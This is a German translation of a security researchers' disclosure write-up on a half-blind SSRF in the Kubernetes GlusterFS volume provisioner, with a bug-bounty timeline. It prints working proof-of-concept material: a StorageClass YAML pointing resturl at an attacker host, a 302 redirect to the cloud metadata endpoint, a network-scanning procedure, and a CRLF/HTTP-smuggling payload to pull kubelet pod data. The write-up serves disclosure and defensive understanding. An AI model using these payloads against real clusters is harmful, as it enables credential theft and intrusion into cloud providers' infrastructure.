Anmerkung des Übersetzers.: Die Autoren dieses Artikels berichten ausführlich darüber, wie es ihnen gelungen ist, eine Sicherheitsanfälligkeit zu entdecken in Kubernetes. Obwohl sie anfangs nicht sehr gefährlich schien, stellte sich ihre Kritikalität in Kombination mit anderen Faktoren bei einigen Cloud-Anbietern als maximal heraus. Die durchgeführten Arbeiten der Spezialisten wurden großzügig von mehreren Organisationen belohnt.

Wer wir sind
Wir sind zwei französische Sicherheitsforscher, die gemeinsam eine Sicherheitsanfälligkeit in Kubernetes entdeckt haben. Wir heißen Brice Augras und Christophe Hauquiert, aber auf vielen Bug-Bounty-Plattformen sind wir als Reeverzax und Hach bekannt:
- — ;
- — Kubernetes-Architekt bei Nokia.
Was ist passiert?
Dieser Artikel ist unsere Möglichkeit, darüber zu berichten, wie ein gewöhnliches Forschungsprojekt unerwartet zu dem aufregendsten Abenteuer im Leben von Bug-Jägern wurde (zumindest bisher).
Wie Sie wahrscheinlich wissen, haben Bug-Jäger einige bemerkenswerte Eigenschaften:
- Sie leben von Pizza und Bier;
- Sie arbeiten dann, wenn alle anderen schlafen.
Wir sind keine Ausnahme von dieser Regel: Wir treffen uns normalerweise am Wochenende und verbringen schlaflose Hacker-Nächte. Aber eine solche Nacht endete auf ganz ungewohnte Weise.
Anfangs wollten wir uns treffen, um die Teilnahme an am nächsten Tag zu besprechen. Während des Gesprächs über die Sicherheit von Kubernetes in einer verwalteten Serviceumgebung erinnerte ich mich an eine alte Idee zur SSRF () und beschlossen, sie als Angriffszenario zu verwenden.
Um 11 Uhr abends begannen wir mit den Recherchen und gingen früh am Morgen schlafen, ziemlich zufrieden mit den Ergebnissen. Wegen dieser Recherchen stießen wir auf das MSRC Bug Bounty-Programm und entwickelten einen Exploit zur Privilegieneskalation.
Einige Wochen/Monate später ermöglichte uns unser unerwartetes Ergebnis, eine der höchsten Belohnungen in der Geschichte des Azure Cloud Bug Bounty zu erhalten — zusätzlich zu der, die wir von Kubernetes erhalten haben!
In Anlehnung an unser Forschungsprojekt veröffentlichte das Kubernetes Product Security Committee .
Jetzt möchten wir die Informationen über die gefundene Sicherheitsanfälligkeit so weit wie möglich verbreiten. Wir hoffen, dass Sie unsere Entdeckung schätzen und technische Details mit anderen Mitgliedern der Infosec-Community teilen!
Also, hier ist unsere Geschichte…
Kontext
Um den Sinn des Geschehenen umfassend zu vermitteln, betrachten wir zunächst, wie Kubernetes in einer cloudbasierten verwalteten Umgebung funktioniert.
Wenn Sie eine Kubernetes-Clusterinstanz in einer solchen Umgebung erstellen, ist in der Regel der Cloud-Anbieter für die Funktionalität der Managementebene verantwortlich:

Die Managementebene befindet sich im Perimeter des Cloud-Anbieters, während die Kubernetes-Knoten im Perimeter des Kunden angesiedelt sind.
Für die dynamische Zuweisung von Volumes wird der Mechanismus zur dynamischen Bereitstellung aus einer externen Storage-Backend verwendet, der mit PVC (Persistent Volume Claim) verknüpft wird.
Nachdem das PVC erstellt und mit der StorageClass im K8s-Cluster verknüpft wurde, übernimmt der kube/cloud controller manager die weiteren Schritte zur Bereitstellung des Volumes (sein genauer Name hängt von der Version ab). (Anmerkung des Übersetzers.: Wir haben bereits ausführlich über CCM anhand seiner Implementierung für einen der Cloud-Anbieter berichtet. .)
Es gibt mehrere Arten von Provisionern, die von Kubernetes unterstützt werden: Die meisten sind im enthalten, während andere durch zusätzliche Provisioner verwaltet werden, die in Pods im Cluster platziert sind.
In unserer Untersuchung konzentrierten wir uns auf den internen Mechanismus zur Bereitstellung von Volumes, der unten veranschaulicht wird:

Dynamische Bereitstellung von Volumes mit dem integrierten Provisioner von Kubernetes.
Kurz gesagt, wenn Kubernetes in einer verwalteten Umgebung bereitgestellt wird, ist der Cloud-Anbieter für die Funktionalität des Controller Managers verantwortlich, aber die Anfrage zur Erstellung eines Volumes (Nummer 3 in obigem Diagramm) verlässt die Grenzen des internen Netzwerks des Cloud-Anbieters. Und hier wird die Situation wirklich spannend!
Szenario eines Angriffs
In diesem Abschnitt werden wir erläutern, wie wir den oben genannten Workflow genutzt haben, um Zugriff auf interne Ressourcen des Cloud-Anbieters zu erhalten. Außerdem wird gezeigt, wie bestimmte Aktionen ausgeführt werden können - z. B. wie man interne Anmeldeinformationen erhält oder Privilegien eskaliert.
Eine einfache Manipulation (in diesem Fall handelt es sich um eine Service Side Request Forgery) hat dazu beigetragen, die Grenzen der Kundenumgebung in Clustern verschiedener verwalteter K8s-Anbieter zu überschreiten.
In unseren Untersuchungen konzentrierten wir uns auf den Provisioner GlusterFS. Obwohl die weiteren Schritte in einem solchen Kontext beschrieben sind, sind auch Quobyte, StorageOS und ScaleIO von dieser Schwachstelle betroffen.

Missbrauch des Mechanismus zur dynamischen Bereitstellung von Volumes
Während der Analyse der Speicherklassen GlusterFS in den Quellcodes des Clients in Golang haben wir , dass bei der ersten HTTP-Anfrage (3), die während der Erstellung eines Volumes gesendet wurde, am Ende der Benutzer-URL im Parameter resturl begann, /volumes.
Um diesen zusätzlichen Pfad zu vermeiden, haben wir entschieden, dies durch Hinzufügen von # -CommandName resturl. Hier ist die erste YAML-Konfiguration, die wir verwendet haben, um auf die "semi-blinde" SSRF-Schwachstelle zu testen (mehr über semi-blind oder half-blind SSRF kann man zum Beispiel lesen, — Anm. d. Übersetzer):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfDann haben wir das Binärprogramm verwendet, um den Kubernetes-Cluster remote zu verwalten kubectl. In der Regel ermöglichen Cloud-Anbieter (Azure, Google, AWS usw.) den Zugriff auf Anmeldeinformationen zur Verwendung in diesem Tool.
Dank dessen konnten wir unsere "besondere" Datei anwenden. Der Kube-controller-manager führte die resultierende HTTP-Anfrage aus:
kubectl create -f sc-poc.yaml 
Die Antwort aus Sicht des Angreifers
Kurz darauf konnten wir auch die HTTP-Antwort vom Zielserver erhalten - über die Befehle describe pvc oder get events in kubectl. Und tatsächlich: dieser Kubernetes-Treiber ist standardmäßig zu gesprächig in seinen Warnungen/Fehlermeldungen...
Hier ist ein Beispiel mit einem Link zu https://www.google.fr, der als Parameter festgelegt wurde resturl:
kubectl describe pvc poc-ssrf
# oder Sie können kubectl get events verwenden 
Im Rahmen dieses Ansatzes waren wir auf Anfragen des Typs beschränkt HTTP POST und konnten den Inhalt des Antwortkörpers nicht erhalten, wenn der zurückgegebene Code war 201. Daher beschlossen wir, weitere Recherchen durchzuführen und dieses Exploit-Szenario mit neuen Ansätzen zu erweitern.
Die Evolution unserer Forschungen
- Fortgeschrittenes Szenario Nr. 1: Verwendung einer 302-Weiterleitung von einem externen Server, um die HTTP-Methode zu ändern, um einen flexibleren Weg zur Sammlung interner Daten zu erhalten.
- Fortgeschrittenes Szenario Nr. 2: Automatisierung der LAN-Scans und Entdeckung interner Ressourcen.
- Fortgeschrittener Szenario Nr. 3: Verwendung von HTTP CRLF + Smuggling („Schmuggel“ von Anfragen) zur Erstellung angepasster HTTP-Anfragen und zum Abrufen von aus den Protokollen des kube-Controllers extrahierten Daten.
Technische Spezifikationen
- In den Untersuchungen wurde der Azure Kubernetes Service (AKS) mit Kubernetes Version 1.12 in der Region Nord-Europa verwendet.
- Die oben beschriebenen Szenarien wurden auf den neuesten Versionen von Kubernetes ausgeführt, mit Ausnahme des dritten Szenarios, da dies Kubernetes erforderte, das mit Golang Version ≤ 1.12 erstellt wurde.
- Der externe Server des Angreifers —
https://attacker.com.
Fortgeschrittener Szenario Nr. 1: Umleitung einer HTTP-POST-Anfrage zu GET und Abruf vertraulicher Daten
Die ursprüngliche Methode wurde durch die Konfiguration des Angreiferservers zur Rückgabe 302 HTTP Rückkode, um die POST-Anfrage in eine GET-Anfrage zu konvertieren (Schritt 4 im Diagramm):

Die erste Anfrage (3), die vom Client ausgeht GlusterFS (Controller-Manager), hat den Typ POST. Durch Ausführung der folgenden Schritte konnten wir sie in GET umwandeln:
- Als Parameter
resturlwird im StorageClass angegebenhttp://attacker.com/redirect.php. - Der Endpunkt
https://attacker.com/redirect.phpantwortet mit dem Statuscode 302 HTTP und dem folgenden Location-Header:http://169.254.169.254. Es kann sich um eine beliebige andere interne Ressource handeln — in diesem Fall wird der Umleitungslink ausschließlich als Beispiel verwendet. - Standardmäßig Bibliothek net/http leitet die Anfrage in Golang weiter und konvertiert POST in GET mit dem 302-Statuscode, wodurch eine HTTP-GET-Anfrage an die Zielressource gesendet wird.
Um den Körper der HTTP-Antwort zu lesen, muss man describe PVC-Objekt:
kubectl beschreiben pvc xxxHier ist ein Beispiel für eine HTTP-Antwort im JSON-Format, die wir erhalten konnten:

Die Möglichkeiten der zu diesem Zeitpunkt gefundenen Schwachstelle waren aufgrund der folgenden Punkte eingeschränkt:
- Unfähigkeit, HTTP-Header in die ausgehende Anfrage einzufügen.
- Unfähigkeit, eine POST-Anfrage mit Parametern im Körper auszuführen (so bequem ist es, den Wert eines Schlüssels von einer etcd-Instanz, die auf 2379 dem Port läuft, abzurufen, wenn unverschlüsseltes HTTP verwendet wird).
- Unfähigkeit, den Inhalt des Antwortkörpers abzurufen, als der Statuscode 200 war und die Antwort keinen JSON Content-Type hatte.
Fortgeschrittener Szenario Nr. 2: Scannen des lokalen Netzwerks
Diese Methode der halb-blinden SSRF wurde dann verwendet, um das interne Netzwerk des Cloud-Anbieters zu scannen und verschiedene lauschernde Dienste (Metadateninstanz, Kubelet, etcd usw.) basierend auf den Antworten zu befragen. kube-Controllers.

Zunächst wurden die Standardlauscherportnummern der Kubernetes-Komponenten (8443, 10250, 10251 usw.) ermittelt und dann musste der Scannvorgang automatisiert werden.
Da die Methode zur Ressourcenscannung sehr spezifisch und nicht mit klassischen Scannern und SSRF-Tools kompatibel ist, beschlossen wir, eigene Worker in einem Bash-Skript zu erstellen, die den gesamten Prozess automatisieren.
Um beispielsweise den Bereich 172.16.0.0/12 des internen Netzwerks schneller zu scannen, wurden gleichzeitig 15 Worker gestartet. Der oben angegebene IP-Bereich wurde ausschließlich als Beispiel ausgewählt und kann auf den IP-Bereich eines bestimmten Dienstanbieters geändert werden.
Um eine IP-Adresse und einen Port zu scannen, müssen Sie Folgendes tun:
- die zuletzt überprüfte StorageClass löschen;
- den zuvor überprüften Persistent Volume Claim löschen;
- die Werte für IP und Port in
sc.yaml; - eine StorageClass mit neuer IP und Port erstellen;
- ein neues PVC erstellen;
- die Scanning-Ergebnisse mit einem describe für das PVC extrahieren.
Fortgeschrittenes Szenario Nr. 3: CRLF-Injection + HTTP-Smuggling in "alten" Versionen des Kubernetes-Clusters
Wenn der Anbieter den Kunden zusätzlich alte Versionen des K8s-Clusters anbot und und ihnen Zugriff auf die Logs des kube-controller-managers gewährte, wurde der Effekt noch deutlicher.
Für den Angreifer ist es deutlich einfacher, die HTTP-Anfragen nach Belieben zu ändern, die darauf abzielen, die vollständige HTTP-Antwort zu erhalten.

Für die Umsetzung des letzten Szenarios mussten folgende Bedingungen erfüllt werden:
- Der Benutzer muss Zugriff auf die Logs des kube-controller-managers haben (wie beispielsweise in Azure LogInsights).
- Der Kubernetes-Cluster muss eine Golang-Version unter 1.12 verwenden.
Wir haben eine lokale Umgebung bereitgestellt, die den Datenaustausch zwischen dem Go-Client GlusterFS und einem gefälschten Zielserver simuliert (wir verzichten vorerst auf die Veröffentlichung eines PoC).
Es wurde festgestellt, , die Versionen von Golang unter 1.12 betraf und Hackern ermöglichte, HTTP-Smuggling-/CRLF-Angriffe durchzuführen.
Durch die Kombination des oben beschriebenen halb-blinden SSRF zusammen mit diesem konnten wir Anfragen nach Belieben senden, einschließlich der Änderung von Headern, HTTP-Methode, Parametern und Daten, die dann vom kube-controller-manager verarbeitet wurden.
Hier ist ein Beispiel für einen funktionierenden "Lockvogel" im Parameter resturl der StorageClass, die ein solches Angriffsszenario umsetzt:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnIn der Folge wird ein Fehler unsolicited response, die in den Protokollen des Controllers aufgezeichnet wird. Dank der standardmäßig aktivierten "Verbosity" wird dort auch der Inhalt der HTTP-Antwortnachricht gespeichert.
![]()
Dies war unser erfolgreichster "Köder" im Rahmen des Proof of Concept.
Mit diesem Ansatz konnten wir einige der folgenden Angriffe in Clustern verschiedener Anbieter von managed K8s durchführen: Privilegieneskalation durch das Erlangen von Anmeldedaten auf den Metadata-Instanzen, DoS des Masters durch (unverschlüsselte) HTTP-Anfragen an den Master-Exemplaren von etcd usw.
Folgen
In der offiziellen Erklärung von Kubernetes zu der von uns entdeckten SSRF-Schwachstelle wurde ihr eine Bewertung zugewiesen. CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Betrachtet man nur die Schwachstelle im Zusammenhang mit dem Perimeter von Kubernetes, wird der Integritätsvektor (Integritätsvektor) so qualifiziert, dass None.
Die Bewertung der möglichen Folgen im Kontext einer verwalteten Serviceumgebung (und das war der interessanteste Teil unserer Untersuchung!) veranlasste uns dazu, die Schwachstelle auf die Bewertung Kritisch CVSS10/10 für viele Vertriebspartner umzuqualifizieren.
Nachfolgend finden Sie zusätzliche Informationen, die helfen, unser Vorgehen bei der Bewertung der möglichen Folgen in Cloud-Umgebungen besser zu verstehen:
Integrität
- Remote-Code-Ausführung mit den erhaltenen internen Anmeldedaten.
- Wiedergabe des oben beschriebenen Szenarios mittels IDOR (Insecure Direct Object Reference, d.h. unsichere direkte Objektverweise) mit anderen Ressourcen, die im lokalen Netzwerk entdeckt wurden.
Vertraulichkeit
- Ein Angriff vom Typ durch den Diebstahl von Cloud-Anmeldedaten (z.B. Metadata API).
- Informationssammlung durch Scannen des lokalen Netzwerks (Ermitteln der SSH-Version, Version des HTTP-Servers usw.).
- Informationssammlung über Instanzen und Infrastruktur durch Abfragen interner APIs, wie z.B. Metadata API (
http://169.254.169.254, …). - Diebstahl von Kundendaten durch Cloud-Anmeldedaten.
Verfügbarkeit
Alle Anwendungsszenarien für Exploits, die mit Angriffszielen auf Integrität, können für destructive Aktionen verwendet werden und dazu führen, dass Master-Instanzen aus dem Client-Premium (oder einem anderen) nicht mehr erreichbar sind.
Da wir uns in einer verwalteten K8s-Umgebung befanden und die Auswirkungen auf die Integrität bewerteten, kann man sich viele Szenarien vorstellen, die die Verfügbarkeit beeinflussen können. Als zusätzliche Beispiele nennen wir die Beschädigung der etcd-Datenbank oder die Durchführung eines kritischen API-Aufrufs zu Kubernetes.
Chronologie
- 6. Dezember 2019: Meldung einer entdeckten Sicherheitslücke an das MSRC Bug Bounty.
- 3. Januar 2020: Eine dritte Partei informierte die Entwickler von Kubernetes darüber, dass wir an einem Sicherheitsproblem arbeiten. Sie forderten uns auf, SSRF als interne (in-core) Schwachstelle zu betrachten. Danach haben wir einen umfassenden Bericht mit technischen Einzelheiten zur Quelle des Problems vorgelegt.
- 15. Januar 2020: Wir haben den Entwicklern von Kubernetes auf deren Anfrage hin technische und allgemeine Berichte zur Verfügung gestellt (über die Plattform HackerOne).
- 15. Januar 2020: Die Entwickler von Kubernetes informierten uns, dass der half-blind SSRF + CRLF-Injection für frühere Releases als in-core Schwachstelle betrachtet wird. Wir haben sofort die Analyse der Perimeter anderer Dienstanbieter eingestellt: Die K8s-Teams beschäftigten sich nun mit der Ursache.
- 15. Januar 2020: Belohnung von MSRC über HackerOne erhalten.
- 16. Januar 2020: Das Kubernetes PSC (Product Security Committee) bestätigte die Schwachstelle und bat, sie bis Mitte März geheim zu halten, aufgrund der vielen möglichen Opfer.
- 11. Februar 2020: Belohnung von Google VRP erhalten.
- 4. März 2020: Belohnung von Kubernetes über HackerOne erhalten.
- 15. März 2020: Die ursprünglich geplante öffentliche Bekanntgabe wurde aufgrund der COVID-19-Situation verschoben.
- 1. Juni 2020: Gemeinsame Erklärung von Kubernetes + Microsoft zur Schwachstelle.
TL;DR
- Wir trinken Bier und essen Pizza 🙂
- Wir haben eine in-core Sicherheitslücke in Kubernetes entdeckt, obwohl wir das eigentlich nicht vorhatten.
- Wir haben eine zusätzliche Analyse in Clustern verschiedener Cloud-Anbieter durchgeführt und konnten den durch die Schwachstelle verursachten Schaden erhöhen, um zusätzliche großartige Boni zu erhalten.
- In diesem Artikel finden Sie viele technische Einzelheiten. Wir freuen uns darauf, diese mit Ihnen zu diskutieren (Twitter: & ).
- Es stellte sich heraus, dass alle möglichen Formalitäten und die Erstellung von Berichten viel mehr Zeit in Anspruch nehmen, als erwartet.
Links
- ;
- ;
- ;
- .
P.S. vom Übersetzer
Lesen Sie auch in unserem Blog:
- «»;
- «»;
- «».
Quelle: habr.com
